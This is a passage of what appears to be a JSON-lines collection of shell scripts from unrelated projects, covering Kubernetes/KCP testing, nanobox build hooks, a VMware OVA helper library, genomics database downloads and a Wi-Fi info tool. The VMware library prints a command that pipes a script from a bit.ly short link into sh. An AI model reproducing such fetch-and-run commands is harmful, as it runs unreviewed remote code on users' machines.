^([yY][eE][sS]|[yY])$ ]]\nthen\n aws s3 sync --region us-east-1 s3://{{ cookiecutter.project_slug }} {{ cookiecutter.project_slug }}/media\nfi"} {"text": "util_dir=\"$(dirname $(readlink -f $BASH_SOURCE))\"\nhookit_dir=\"$(readlink -f ${util_dir}/../../files/opt/nanobox/hooks)\"\npayloads_dir=$(readlink -f ${util_dir}/../payloads)\napps_dir=$(readlink -f ${util_dir}/../apps)\n\nprint_output() {\n for (( i=0; i < ${#lines[*]}; i++ ))\n do\n echo ${lines[$i]}\n done\n}\n\npayload() {\n cat ${payloads_dir}/${1}.json\n}\n\nrun_hook() {\n hook=$1\n payload=$2\n\n docker exec \\\n build \\\n /opt/nanobox/hooks/$hook \"$payload\"\n}\n\nstart_container() {\n app=$1\n\n if [[ -z $app ]]; then\n app=\"simple-nodejs\"\n fi\n\n docker run \\\n --name=build \\\n -d \\\n -e \"PATH=$(path)\" \\\n --privileged \\\n --net=nanobox \\\n --ip=192.168.0.2 \\\n --volume=${hookit_dir}/:/opt/nanobox/hooks \\\n --volume=${apps_dir}/${app}/:/share/code \\\n nanobox/build\n}\n\nstop_container() {\n docker stop build\n docker rm build\n}\n\npath() {\n paths=(\n \"/opt/gonano/sbin\"\n \"/opt/gonano/bin\"\n \"/opt/gonano/bin\"\n \"/usr/local/sbin\"\n \"/usr/local/bin\"\n \"/usr/sbin\"\n \"/usr/bin\"\n \"/sbin\"\n \"/bin\"\n )\n\n path=\"\"\n\n for dir in ${paths[@]}; do\n if [[ \"$path\" != \"\" ]]; then\n path=\"${path}:\"\n fi\n\n path=\"${path}${dir}\"\n done\n\n echo $path\n}\n\nrun_build() {\n /opt/nanobox/hooks/user \"$(cat payloads/user.json)\"\n /opt/nanobox/hooks/configure \"$(cat payloads/configure.json)\"\n /opt/nanobox/hooks/fetch \"$(cat payloads/fetch.json)\"\n /opt/nanobox/hooks/setup \"$(cat payloads/setup.json)\"\n /opt/nanobox/hooks/boxfile \"$(cat payloads/boxfile.json)\" > /dev/null\n /opt/nanobox/hooks/build \"$(cat payloads/build.json)\"\n /opt/nanobox/hooks/compile \"$(cat payloads/compile.json)\"\n /opt/nanobox/hooks/pack-app \"$(cat payloads/pack-app.json)\"\n /opt/nanobox/hooks/pack-build \"$(cat payloads/pack-build.json)\"\n /opt/nanobox/hooks/clean \"$(cat payloads/clean.json)\"\n /opt/nanobox/hooks/pack-deploy \"$(cat payloads/pack-deploy.json)\"\n}"} {"text": "<reponame>sdminonne/kcp\n#!/usr/bin/env bash\n\n# Copyright 2021 The KCP Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -o nounset\nset -o pipefail\nset -o errexit\n\nKCP_ROOT=\"$( realpath \"$(dirname \"${BASH_SOURCE[0]}\")/..\" )\"\n\nworkdir=\"${WORKDIR:-\"$( mktemp -d )\"}\"\nrm -rf \"${workdir}\"\nmkdir -p \"${WORKDIR}\"\necho \"Workdir: ${workdir}\"\npushd \"${workdir}\"\n\nfunction cleanup() {\n for job in $( jobs -p ); do\n kill \"${job}\"\n done\n wait\n}\ntrap cleanup EXIT\n\necho \"Starting clusters...\"\n\"${KCP_ROOT}\"/bin/kcp start --push_mode --install_cluster_controller --auto_publish_apis --resources_to_sync=cowboys.wildwest.dev --root_directory \"${workdir}/.kcp\" > \"${workdir}/.kcp.log\" 2>&1 &\nexport kcp=\"${workdir}/.kcp/admin.kubeconfig\"\n\"${KCP_ROOT}\"/bin/kcp start --root_directory \"${workdir}/.kcp2\" --etcd_client_port 2381 --etcd_peer_port 2382 --listen :6444 > \"${workdir}/.kcp2.log\" 2>&1 &\nexport pcluster=\"${workdir}/.kcp2/admin.kubeconfig\"\nfor cluster in kcp kcp2; do\n success=\"false\"\n for i in {1..20}; do\n if [[ -s \"${pcluster}\" ]]; then\n if [[ \"$( kubectl --kubeconfig \"${workdir}/.${cluster}/admin.kubeconfig\" get --raw /readyz 2>&1 )\" == \"ok\" ]] ; then\n success=\"true\"\n break\n fi\n fi\n echo -n .\n sleep 1\n continue\n done\n echo\n if [[ \"${success}\" != \"true\" ]]; then\n echo \"ERROR: could not start kcp, logs:\"\n cat \"${workdir}/.${cluster}.log\"\n exit 1\n fi\ndone\n\necho \"Creating CRD...\"\ncat >\"${workdir}/cowboy.yaml\" <<EOF\napiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n name: cowboys.wildwest.dev\nspec:\n group: wildwest.dev\n names:\n categories:\n - test\n kind: Cowboy\n listKind: CowboyList\n plural: cowboys\n singular: cowboy\n scope: Namespaced\n versions:\n - name: v1alpha1\n schema:\n openAPIV3Schema:\n properties:\n apiVersion:\n description: 'APIVersion defines the versioned schema of this representation\n of an object. Servers should convert recognized schemas to the latest\n internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources'\n type: string\n kind:\n description: 'Kind is a string value representing the REST resource this\n object represents. Servers may infer this from the endpoint the client\n submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds'\n type: string\n metadata:\n type: object\n spec:\n description: Spec holds the desired state.\n properties:\n intent:\n type: string\n required:\n - intent\n type: object\n status:\n description: Status communicates the observed state.\n properties:\n result:\n type: string\n type: object\n type: object\n served: true\n storage: true\n subresources:\n status: {}\nstatus:\n acceptedNames:\n kind: \"\"\n plural: \"\"\n conditions: []\n storedVersions: []\nEOF\nfor cluster in kcp kcp2; do\n kubectl --kubeconfig \"${workdir}/.${cluster}/admin.kubeconfig\" apply -f \"${workdir}/cowboy.yaml\"\ndone\nfor cluster in kcp kcp2; do\n kubectl --kubeconfig \"${workdir}/.${cluster}/admin.kubeconfig\" wait customresourcedefinition/cowboys.wildwest.dev --for condition=Established=true\ndone\n\ncat >\"${workdir}/us-east1.raw\" <<EOF\nkind: Cluster\napiVersion: cluster.example.dev/v1alpha1\nmetadata:\n name: us-east1\nspec:\n kubeconfig: |\nEOF\n\nsed -e 's/^/ /' \"${pcluster}\" | cat \"${workdir}/us-east1.raw\" - > \"${workdir}/us-east1.yaml\"\necho \"Adding pcluster as a Cluster to kcp...\"\nkubectl --kubeconfig \"${kcp}\" apply -f \"${workdir}/us-east1.yaml\"\nkubectl --kubeconfig \"${kcp}\" wait cluster.cluster.example.dev/us-east1 --for condition=Ready=true\n\ncat >\"${workdir}/timothy.yaml\" <<EOF\napiVersion: wildwest.dev/v1alpha1\nkind: Cowboy\nmetadata:\n name: timothy\n labels:\n kcp.dev/cluster: us-east1\nspec:\n intent: yeehaw\nEOF\n\necho \"Creating cowboy on kcp...\"\nkubectl --kubeconfig \"${kcp}\" --context admin create namespace test\nkubectl --kubeconfig \"${kcp}\" apply -f \"${workdir}/timothy.yaml\" --namespace test\necho \"Waiting for cowboy spec to sync to pcluster...\"\nspec_success=\"false\"\nfor i in {1..20} ; do\n if kubectl --kubeconfig \"${pcluster}\" get namespace test >/dev/null 2>&1; then\n if kubectl --kubeconfig \"${pcluster}\" --namespace test get cowboy timothy >/dev/null 2>&1; then\n if [[ \"$( kubectl --kubeconfig \"${pcluster}\" --namespace test get cowboy timothy -o jsonpath={.spec.intent} 2>&1 )\" == \"yeehaw\" ]]; then\n spec_success=\"true\"\n break\n fi\n fi\n fi\n echo -n .\n sleep 1\ndone\necho\nif [[ \"${spec_success}\" != \"true\" ]]; then\n echo \"ERROR: did not sync spec to pcluster:\"\n echo \"ERROR: state on kcp:\"\n kubectl --kubeconfig \"${kcp}\" --namespace test get cowboy timothy -o yaml\n echo \"ERROR: state on pcluster:\"\n kubectl --kubeconfig \"${pcluster}\" --namespace test get cowboy timothy -o yaml\n exit 1\nfi\n\necho \"Changing status on the pcluster...\"\n# don't make everyone install yq...\nextract_token=$(cat <<EOF\nimport yaml\nimport sys\nwith open(sys.argv[1]) as raw:\n data = yaml.load(raw, Loader=yaml.FullLoader)\n print(data['users'][0]['user']['token'])\nEOF\n)\nextract_server=$(cat <<EOF\nimport yaml\nimport sys\nwith open(sys.argv[1]) as raw:\n data = yaml.load(raw, Loader=yaml.FullLoader)\n print(data['clusters'][0]['cluster']['server'])\nEOF\n)\ncurl -k -XPATCH -H \"Content-Type: application/merge-patch+json\" \\\n -H \"Accept: application/json\" \\\n -H \"Authorization: Bearer $( python -c \"${extract_token}\" \"${pcluster}\" )\" \\\n --data '{\"status\":{\"result\":\"giddyup\"}}' \\\n \"$( python -c \"${extract_server}\" \"${pcluster}\" )/apis/wildwest.dev/v1alpha1/namespaces/test/cowboys/timothy/status\"\necho \"Waiting for cowboy status to sync to kcp...\"\nstatus_success=\"false\"\nfor i in {1..20} ; do\n if kubectl --kubeconfig \"${kcp}\" get namespace test >/dev/null 2>&1; then\n if kubectl --kubeconfig \"${kcp}\" --namespace test get cowboy timothy >/dev/null 2>&1; then\n if [[ \"$( kubectl --kubeconfig \"${kcp}\" --namespace test get cowboy timothy -o jsonpath={.status.result} 2>&1 )\" == \"giddyup\" ]]; then\n status_success=\"true\"\n break\n fi\n fi\n fi\n echo -n .\n sleep 1\ndone\necho\nif [[ \"${status_success}\" != \"true\" ]]; then\n echo \"ERROR: did not sync status to kcp:\"\n echo \"ERROR: state on kcp:\"\n kubectl --kubeconfig \"${kcp}\" --namespace test get cowboy timothy -o yaml\n echo \"ERROR: state on pcluster:\"\n kubectl --kubeconfig \"${pcluster}\" --namespace test get cowboy timothy -o yaml\n exit 1\nfi\n\necho \"Cluster and syncer test done\""} {"text": "# $1 = dir_name $2 = file_name\nDIR_NAME=$1\nFILE_NAME=$2\nTASK_NAME=$3\nHOST_IP=$4\nHOST_PORT=$5\necho \"DIR_NAME = ${DIR_NAME},FILE_NAME = ${FILE_NAME}, TASK_NAME = ${TASK_NAME}, HOST_IP = ${HOST_IP}, HOST_PORT = ${HOST_PORT}\"\nmkdir -p result\ndocker build -t ipfs-temporal-script ./docker/\nsudo sysctl -w net.core.rmem_max=2500000\ndocker run -d --name ${DIR_NAME}-ipfs-temporal\\\n -v $(pwd)/result:/result \\\n -v $(pwd)/scripts:/scripts \\\n -v $(pwd)/data:/data \\\n -e DIR_NAME=$DIR_NAME \\\n -e FILE_NAME=$FILE_NAME \\\n -e TASK_NAME=$TASK_NAME \\\n -e HOST_IP=${HOST_IP} \\\n -e HOST_PORT=${HOST_PORT} \\\n --cap-add=NET_ADMIN \\\n ipfs-temporal-script"} {"text": "#!/bin/bash\nset -x\npatch /usr/local/lib/python3.7/dist-packages/mapproxy/srs.py srs-iter.patch"} {"text": "<filename>ova/yakity-common.sh\n#!/bin/sh\n\n# Yakity\n#\n# Copyright (c) 2018 VMware, Inc. All Rights Reserved.\n#\n# This product is licensed to you under the Apache 2.0 license (the \"License\").\n# You may not use this product except in compliance with the Apache 2.0 License.\n#\n# This product may include a number of subcomponents with separate copyright\n# notices and license terms. Your use of these subcomponents is subject to the\n# terms and conditions of the subcomponent's license, as noted in the LICENSE\n# file.\n\n# posix compliant\n# verified by https://www.shellcheck.net\n\n#\n# A commons library for the OVA's shell scripts.\n#\n\nset -e\nset -o pipefail\n\n# echo2 echoes the provided arguments to stderr.\necho2() { echo \"${@}\" 1>&2; }; export echo2\n\n# printf2 prints the provided format and arguments to stderr.\n# shellcheck disable=SC2059\nprintf2() { _f=\"${1}\"; shift; printf \"${_f}\" \"${@}\" 1>&2; }; export printf2\n\n################################################################################\n## BIN_DIR ##\n################################################################################\n\n# Define BIN_DIR and create it if it does not exist.\nexport BIN_DIR=\"${BIN_DIR:-/opt/bin}\"\nmkdir -p \"${BIN_DIR}\"; chmod 0755 \"${BIN_DIR}\"\n\n# If not already a member of PATH, add BIN_DIR to PATH.\necho \"${PATH}\" | grep -qF \"${BIN_DIR}\" || export PATH=\"${BIN_DIR}:${PATH}\"\n\nrequire_program() {\n command -v \"${1}\" 1>/dev/null || \\\n { _ec=\"${?}\"; echo2 \"failed to find ${1}\"; exit \"${_ec}\"; }\n}\nexport require_program\n\n# Ensure the rpctool program is available.\nrequire_program rpctool\n\n################################################################################\n## Boolean ##\n################################################################################\n\n# Parses the argument and normalizes a truthy value to lower-case \"true\" or\n# a non-truthy value to lower-case \"false\".\n#\n# $1 - The value to parse\n# $2 - A default value if $1 is undefined\nparse_bool() {\n val=\"${1:-${2}}\"\n { echo \"${val}\" | \\\n grep -iq '^[[:space:]]\\{0,\\}\\(1\\|yes\\|true\\)[[:space:]]\\{0,\\}$' && \\\n echo true; } || echo false\n}\nexport parse_bool\n\nis_true() { [ \"true\" = \"$(parse_bool \"${1}\")\" ]; }; export is_true\nis_false() { ! is_true \"${1}\"; }; export is_false\n\n################################################################################\n## Logging ##\n################################################################################\n\n# Check for debug mode.\nDEBUG=\"$(rpctool get yakity.DEBUG)\" || \\\n { xc=\"${?}\"; echo2 \"rpctool: get yakity.DEBUG failed\"; exit \"${xc}\"; }\n[ -n \"${DEBUG}\" ] || DEBUG=\"$(rpctool get.ovf DEBUG)\" || \\\n { xc=\"${?}\"; echo2 \"rpctool: get ovfEnv.DEBUG failed\"; exit \"${xc}\"; }\nDEBUG=\"$(parse_bool \"${DEBUG}\")\"\nis_debug() { [ \"${DEBUG}\" = \"true\" ]; }\nexport DEBUG is_debug\n\n# Logging levels\nexport FATAL_LEVEL=1 \\\n ERROR_LEVEL=2 \\\n WARN_LEVEL=3 \\\n INFO_LEVEL=4 \\\n DEBUG_LEVEL=5\n\n# Debug mode enables tracing and sets LOG_LEVEL=DEBUG_LEVEL.\nis_debug && { set -x; LOG_LEVEL=\"${DEBUG_LEVEL}\"; }\n\n# LOG_LEVEL may be set to:\n# * 1, FATAL\n# * 2, ERROR\n# * 3, WARN\n# * 4, INFO\n# * 5, DEBUG\nif [ -z \"${LOG_LEVEL}\" ]; then\n LOG_LEVEL=\"$(rpctool get yakity.LOG_LEVEL)\" || \\\n { xc=\"${?}\"; echo2 \"rpctool: get yakity.LOG_LEVEL failed\"; exit \"${xc}\"; }\n [ -n \"${LOG_LEVEL}\" ] || LOG_LEVEL=\"$(rpctool get.ovf LOG_LEVEL)\" || \\\n { xc=\"${?}\"; echo2 \"rpctool: get ovfEnv.LOG_LEVEL failed\"; exit \"${xc}\"; }\n LOG_LEVEL=\"${LOG_LEVEL:-${INFO_LEVEL}}\"\nfi\n\nis_log_level() {\n echo \"${1}\" | \\\n grep -iq '^[[:space:]]\\{0,\\}\\('\"${2}\"'\\|'\"${3}\"'\\)[[:space:]]\\{0,\\}$'\n}\nexport is_log_level\n\nparse_log_level() {\n if is_log_level \"${1}\" \"${FATAL_LEVEL}\" fatal; then\n echo \"${FATAL_LEVEL}\" && return\n elif is_log_level \"${1}\" \"${ERROR_LEVEL}\" error; then\n echo \"${ERROR_LEVEL}\" && return\n elif is_log_level \"${1}\" \"${WARN_LEVEL}\" warn || \\\n is_log_level \"${1}\" \"${WARN_LEVEL}\" warning; then\n echo \"${WARN_LEVEL}\" && return\n elif is_log_level \"${1}\" \"${INFO_LEVEL}\" info; then\n echo \"${INFO_LEVEL}\" && return\n elif is_log_level \"${1}\" \"${DEBUG_LEVEL}\" debug; then\n echo \"${DEBUG_LEVEL}\" && return\n fi\n return 1\n}\nexport parse_log_level\n\n# Parse the log level that may have been set when this script was executed.\nLOG_LEVEL=\"$(parse_log_level \"${LOG_LEVEL}\")\"\nexport LOG_LEVEL\n\n# Returns a success if the provided argument is a whole number.\nis_whole_num() {\n echo \"${1}\" | \\\n grep -q '^[[:space:]]\\{0,\\}\\([[:digit:]]\\{1,\\}\\)[[:space:]]\\{0,\\}$'\n}\nexport is_whole_num\n\n# log LEVEL_INT LEVEL_SZ MSG [RETURN_CODE]\nlog() {\n _rc=\"${?}\"\n _lvl_int=\"${1}\"; _lvl_sz=\"${2}\"; _msg=\"${3}\"\n ! is_whole_num \"${4}\" || _rc=\"${4}\"\n if [ \"${LOG_LEVEL}\" -ge \"${_lvl_int}\" ]; then\n printf2 '%s [%s] %s\\n' \"${_lvl_sz}\" \"$(date +%s)\" \"${_msg}\"\n fi\n return \"${_rc}\"\n}\nexport log\n\n# debug MSG [RETURN_CODE]\n# Prints the supplies message to stderr if LOG_LEVEL >=DEBUG_LEVEL.\ndebug() { log \"${DEBUG_LEVEL}\" DEBUG \"${1}\" 0; }; export debug\n\n# info MSG [RETURN_CODE]\n# Prints the supplies message to stderr if LOG_LEVEL >=INFO_LEVEL.\ninfo() { log \"${INFO_LEVEL}\" INFO \"${1}\" 0; }; export info\n\n# warn MSG [RETURN_CODE]\n# Prints the supplies message to stderr if LOG_LEVEL >=WARN_LEVEL.\nwarn() { log \"${WARN_LEVEL}\" WARN \"${1}\" 0; }; export warn\n\n# error MSG [RETURN_CODE]\n# Prints the supplies message to stderr if LOG_LEVEL >=ERROR_LEVEL.\nerror() { log \"${ERROR_LEVEL}\" ERROR \"${1}\" 0; }; export error\n\n# fatal MSG [RETURN_CODE]\n# Prints the supplies message to stderr if LOG_LEVEL >=FATAL_LEVEL.\nfatal() { log \"${FATAL_LEVEL}\" FATAL \"${@}\" || exit \"${?}\"; }; export fatal\n\nrequire() {\n while [ -n \"${1}\" ]; do\n { [ -n \"$(eval \"echo \\${${1}}\")\" ] && shift; } || fatal \"${1} required\"\n done\n}\nexport require\n\n################################################################################\n## VMware ##\n################################################################################\n\n# Gets this VM's UUID.\n#\n# ex. VMware-42 30 bd 07 d9 68 0c ae-58 61 e9 3c 47 c1 9e d2\nget_self_uuid() {\n cut -c8- </sys/class/dmi/id/product_serial | \\\n tr -d ' -' | \\\n sed 's/^\\([[:alnum:]]\\{1,8\\}\\)\\([[:alnum:]]\\{1,4\\}\\)\\([[:alnum:]]\\{1,4\\}\\)\\([[:alnum:]]\\{1,4\\}\\)\\([[:alnum:]]\\{1,12\\}\\)$/\\1-\\2-\\3-\\4-\\5/' || \\\n fatal \"failed to read VM UUID\"\n}\nexport get_self_uuid\n\n# Sets a guestinfo property in the yakity namespace.\nrpc_set() {\n rpctool set \"yakity.${1}\" \"${2}\" || fatal \"rpctool: set yakity.${1} failed\"\n}\nexport rpc_set\n\n# Gets a guestinfo property in the yakity namespace or the OVF environment.\nrpc_get() {\n _val=\"$(rpctool get \"yakity.${1}\")\" || fatal \"rpctool: get yakity.${1} failed\"\n if [ -n \"${_val}\" ] && [ ! \"${_val}\" = \"null\" ]; then\n debug \"rpc_get: key=${1} src=guestinfo.yakity\"\n echo \"${_val}\"\n return\n fi\n _val=\"$(rpctool get.ovf \"${1}\")\" || fatal \"rpctool: get.ovf ${1} failed\"\n if [ -n \"${_val}\" ] && [ ! \"${_val}\" = \"null\" ]; then\n debug \"rpc_get: key=${1} src=guestinfo.ovfEnv\"\n echo \"${_val}\"\n fi\n}\nexport rpc_get\n\n################################################################################\n## yakity ##\n################################################################################\n\nparse_node_type() {\n if echo \"${1}\" | grep -iq '^[[:space:]]\\{0,\\}both[[:space:]]\\{0,\\}$'; then\n echo both && return\n elif echo \"${1}\" | grep -iq '^[[:space:]]\\{0,\\}controller[[:space:]]\\{0,\\}$'; then\n echo controller && return\n elif echo \"${1}\" | grep -iq '^[[:space:]]\\{0,\\}worker[[:space:]]\\{0,\\}$'; then\n echo worker && return\n fi\n error \"invalid node type: ${1}\"; return 1\n}\nexport parse_node_type\n\nget_self_node_type() { \n parse_node_type \"$(rpc_get NODE_TYPE)\" || \\\n fatal \"failed to get self node type\"\n}\nexport get_self_node_type\n\nis_controller() {\n echo \"${1}\" | \\\n grep -iq '^[[:space:]]\\{0,\\}\\(both\\|controller\\)[[:space:]]\\{0,\\}$'\n}\nexport is_controller\n\nget_controller_ipv4_addrs() {\n cluster_name=\"$(rpc_get CLUSTER_NAME)\"\n cluster_name=\"${cluster_name:-kubernetes}\"\n domain_name=\"$(rpc_get NETWORK_DOMAIN)\"\n domain_name=\"${domain_name:-$(hostname -d)}\"\n cluster_fqdn=\"${cluster_name}.${domain_name}\"\n host -t A \"${cluster_fqdn}\" | awk '{print $4}' | sort -u\n}\nexport get_controller_ipv4_addrs\n\nget_host_name_from_fqdn() {\n echo \"${1}\" | awk -F. '{print $1}'\n}\nexport get_host_name_from_fqdn\n\nget_domain_name_from_fqdn() {\n echo \"${1}\" | sed 's~^'\"$(get_host_name_from_fqdn \"${1}\")\"'\\.\\(.\\{1,\\}\\)$~\\1~'\n}\nexport get_domain_name_from_fqdn\n\n# Sets the host name and updats all of the files necessary to have the\n# hostname command respond with correct information for \"hostname -f\",\n# \"hostname -s\", and \"hostname -d\".\n#\n# Possible return codes include:\n# 0 - success\n#\n# 50 - after setting the host name the command \"hostname -f\" returns\n# an empty string\n# 51 - after setting the host name the command \"hostname -f\" returns\n# a value that does not match the host FQDN that was set\n#\n# 52 - after setting the host name the command \"hostname -s\" returns\n# an empty string\n# 53 - after setting the host name the command \"hostname -s\" returns\n# a value that does not match the host name that was set\n#\n# 54 - after setting the host name the command \"hostname -d\" returns\n# an empty string\n# 55 - after setting the host name the command \"hostname -d\" returns\n# a value that does not match the domain name that was set\n#\n# ? - any other non-zero exit code indicates failure and comes directly\n# from the \"hostname\" command. Please see the \"hostname\" command\n# for a list of its exit codes.\nset_host_name() {\n _host_fqdn=\"${1}\"; _host_name=\"${2}\"; _domain_name=\"${3}\"\n\n # Use the \"hostname\" command instead of \"hostnamectl set-hostname\" since\n # the latter relies on the systemd-hostnamed service, which may not be\n # present or active.\n hostname \"${_host_fqdn}\" || return \"${?}\"\n\n # Update the hostname file.\n echo \"${_host_fqdn}\" >/etc/hostname\n\n # Update the hosts file so the \"hostname\" command will respond with\n # the correct values for \"hostname -f\", \"hostname -s\", and \"hostname -d\".\n cat <<EOF >/etc/hosts\n::1 ipv6-localhost ipv6-loopback\n127.0.0.1 localhost\n127.0.0.1 localhost.${_domain_name}\n127.0.0.1 ${_host_name}\n127.0.0.1 ${_host_fqdn}\nEOF\n\n _act_host_fqdn=\"$(hostname -f)\" || return \"${?}\"\n [ -n \"${_act_host_fqdn}\" ] || return 50\n [ \"${_host_fqdn}\" = \"${_act_host_fqdn}\" ] || return 51\n\n _act_host_name=\"$(hostname -s)\" || return \"${?}\"\n [ -n \"${_act_host_name}\" ] || return 52\n [ \"${_host_name}\" = \"${_act_host_name}\" ] || return 53\n\n _act_domain_name=\"$(hostname -d)\" || return \"${?}\"\n [ -n \"${_act_domain_name}\" ] || return 54\n [ \"${_domain_name}\" = \"${_act_domain_name}\" ] || return 55\n\n # success!\n return 0\n}\nexport set_host_name\n\n# Get the short version of the cluster ID.\nget_cluster_id7() { echo \"${1}\" | cut -c-7; }; export get_cluster_id7\n\nget_cluster_access_info() {\n _cluster_id=\"${1}\"\n _vm_uuid=\"${2}\"\n _k8s_version=\"${3}\"\n _cluster_id7=\"$(get_cluster_id7 \"${_cluster_id}\")\"\n\n cat <<EOF\nKUBERNETES VERSION\n${_k8s_version}\n\nCLUSTER ID\n${_cluster_id7}\n\nREMOTE ACCESS\ncurl -sSL http://bit.ly/yakcess | sh -s -- ${_vm_uuid}\nEOF\n}\n\nunmangle_pem() {\n sed -r 's/(-{5}BEGIN [A-Z ]+-{5})/&\\n/g; s/(-{5}END [A-Z ]+-{5})/\\n&\\n/g' | \\\n sed -r 's/.{64}/&\\n/g; /^\\s*$/d' | \\\n sed -r '/^$/d'\n}\nexport unmangle_pem\n\n# Returns the last argument as an array using a POSIX-compliant method\n# for handling arrays.\nonly_last_arg() {\n _l=\"${#}\" _i=0 _j=\"$((_l-1))\" && while [ \"${_i}\" -lt \"${_l}\" ]; do\n if [ \"${_i}\" -eq \"${_j}\" ]; then\n printf '%s\\n' \"${1}\" | sed \"s/'/'\\\\\\\\''/g;1s/^/'/;\\$s/\\$/' \\\\\\\\/\"\n fi\n shift; _i=\"$((_i+1))\"\n done\n echo \" \"\n}\nexport only_last_arg\n\n# Returns all but the last argument as an array using a POSIX-compliant method\n# for handling arrays.\ntrim_last_arg() {\n _l=\"${#}\" _i=0 _j=\"$((_l-1))\" && while [ \"${_i}\" -lt \"${_l}\" ]; do\n if [ \"${_i}\" -lt \"${_j}\" ]; then\n printf '%s\\n' \"${1}\" | sed \"s/'/'\\\\\\\\''/g;1s/^/'/;\\$s/\\$/' \\\\\\\\/\"\n fi\n shift; _i=\"$((_i+1))\"\n done\n echo \" \"\n}\nexport trim_last_arg\n\n# \"${node_type}:${uuid}:${host_name}\"\nparse_member_info() { echo \"${2}\" | awk -F: '{print $'\"${1}\"'}'; }\nparse_member_node_type() { parse_member_info 1 \"${1}\"; }\nparse_member_id() { parse_member_info 2 \"${1}\"; }\nparse_member_host_name() { parse_member_info 3 \"${1}\"; }\nexport parse_member_info \\\n parse_member_node_type \\\n parse_member_id \\\n parse_member_host_name\n\nis_file_empty() {\n [ ! -e \"${1}\" ] || \\\n wc -l >/dev/null 2>&1 <\"${1}\" || \\\n grep -q '[[:space:]]\\{0,\\}' \"${1}\"\n}\nexport is_file_empty"} {"text": "<gh_stars>0\n#!/usr/bin/env bash\n\n#ProDeGe Copyright (c) 2014, The Regents of the University of California,\n#through Lawrence Berkeley National Laboratory (subject to receipt of any\n#required approvals from the U.S. Dept. of Energy). All rights reserved.\n\nif [ -z \"$MAKEBLASTDB_EXE\" ]; then\n\tblastCmd=`module load blast+;which makeblastdb`\nelse\n blastCmd=$MAKEBLASTDB_EXE\nfi\n\n# Get all data from Prodege server\necho \"Downloading files from Prodege server\"\nwget -O ${1}/NCBI-nt-euk/nt_euks.fna.tar.gz https://portal.nersc.gov/dna/microbial/omics-prodege/NCBI-nt-euk/nt_euks.fna.tar.gz\nwget -O ${1}/IMG-db/imgdb.fna.tar.gz https://portal.nersc.gov/dna/microbial/omics-prodege/IMG-db/imgdb.fna.tar.gz\nwget -O ${1}/IMG-tax/img_taxonomy.txt https://portal.nersc.gov/dna/microbial/omics-prodege/IMG-tax/img_taxonomy.txt\n\n# Untar files\necho \"Untarring database files\"\ncd ${1}/NCBI-nt-euk/\ntar xvf nt_euks.fna.tar.gz\nrm nt_euks.fna.tar.gz\ncd ${1}/IMG-db/\ntar xvf imgdb.fna.tar.gz\nrm imgdb.fna.tar.gz\n\n# Format for blast queries, not needed since tar contains formatted files\n#echo \"Formatting blast database\"\n#cd ${1}/NCBI-nt-euk/\n#$blastCmd -in nt_euks.fna -out nt_euks -dbtype nucl\n#rm nt_euks.fna\n#cd ${1}/IMG-db/\n#$blastCmd -in imgdb.fna -out imgdb -dbtype nucl\n#rm imgdb.fna"} {"text": "<gh_stars>0\n#!/usr/bin/env bash\n#\n# Require bash version >= 4.4\n\n#include include/util.sh\n\nSERVICE_OPERATION_RESTART=\"RESTART\"\nSERVICE_OPERATION_STOP=\"STOP\"\nSERVICE_OPERATION_QUERY=\"QUERY\"\n\nservice::main() {\n if [[ \"${SERVICE_OPERATION:-}\" == \"$SERVICE_OPERATION_RESTART\" ]]; then\n util::call_func restart_service\n elif [[ \"${SERVICE_OPERATION:-}\" == \"$SERVICE_OPERATION_STOP\" ]]; then\n util::call_func stop_service\n elif [[ \"${SERVICE_OPERATION:-}\" == \"$SERVICE_OPERATION_QUERY\" ]]; then\n util::call_func query_service\n else\n common::err $(( ERR_STATUS_START + 101 )) \\\n \"Unsupport SERVICE_OPERATION '$SERVICE_OPERATION'\"\n fi\n}"} {"text": "<reponame>Sihan001/lbActions<filename>Wifi Info.lbaction/Contents/Scripts/wifi.sh\n#!/bin/bash\n\n. wifiCommon.sh\n. workflowHandler.sh\n\n# Get interface mac address\nMAC=$(getWifiMac)\n\n# Handle Wi-Fi off state\nif [ \"$(getWifiState \"$INTERFACE\")\" == 0 ]; then\n addResult \"\" \"On\" \"Turn $NAME On\" \"$INTERFACE ($MAC)\" \"$ICON_WIFI_ERROR\"\n getXMLResults\n exit\nfi\n\n# Get network configuration\nNETINFO=$(networksetup -getinfo $NAME)\nNETCONFIG=$(getConnectionConfig \"$NETINFO\")\n\n# Output IPv4\nIPv4=$(getIPv4 \"$NETINFO\")\nif [ \"$IPv4\" != \"\" ]; then\n addResult \"\" \"$IPv4\" \"$IPv4\" \"IPv4 address ($NETCONFIG)\" \"$ICON_WIFI\"\nfi\n\n# Output IPv6\nIPv6=$(getIPv6 \"$NETINFO\")\nif [ \"$IPv6\" != \"\" ]; then\n addResult \"\" \"$IPv6\" \"$IPv6\" \"IPv6 address ($NETCONFIG)\" \"$ICON_WIFI\"\nfi\n\n# Output WiFi AP info\nINFO=$($AIRPORT --getinfo)\nSSID=$(getSSID \"$INFO\")\nBSSID=$(getBSSID \"$INFO\")\nAUTH=$(getAuth \"$INFO\")\nif [ \"$SSID\" != \"\" ]; then\n addResult \"\" \"$SSID\" \"$SSID ($BSSID)\" \"$NAME access point ($AUTH)\" \"$ICON_WIFI\"\nfi\n\n# Output global IP\nGLOBALIP=$(getGlobalIP)\nif [ \"$GLOBALIP\" != \"\" ]; then\n addResult \"\" \"$GLOBALIP\" \"$GLOBALIP\" \"Global IP\" \"$ICON_WIFI\"\nfi\n\n# Output VPN\nVPN=$(getVPN \"$(scutil --nc list)\")\nif [ \"$VPN\" != \"\" ]; then\n addResult \"\" \"$VPN\" \"$VPN\" \"VPN connection\" \"$ICON_WIFI\"\nfi\n\n# Output DNS list\nDNSSTRING=$(getDNS \"$(networksetup -getdnsservers \"$NAME\")\")\nif [ \"$DNSSTRING\" != \"\" ]; then\n addResult \"\" \"$DNSSTRING\" \"$DNSSTRING\" \"DNS 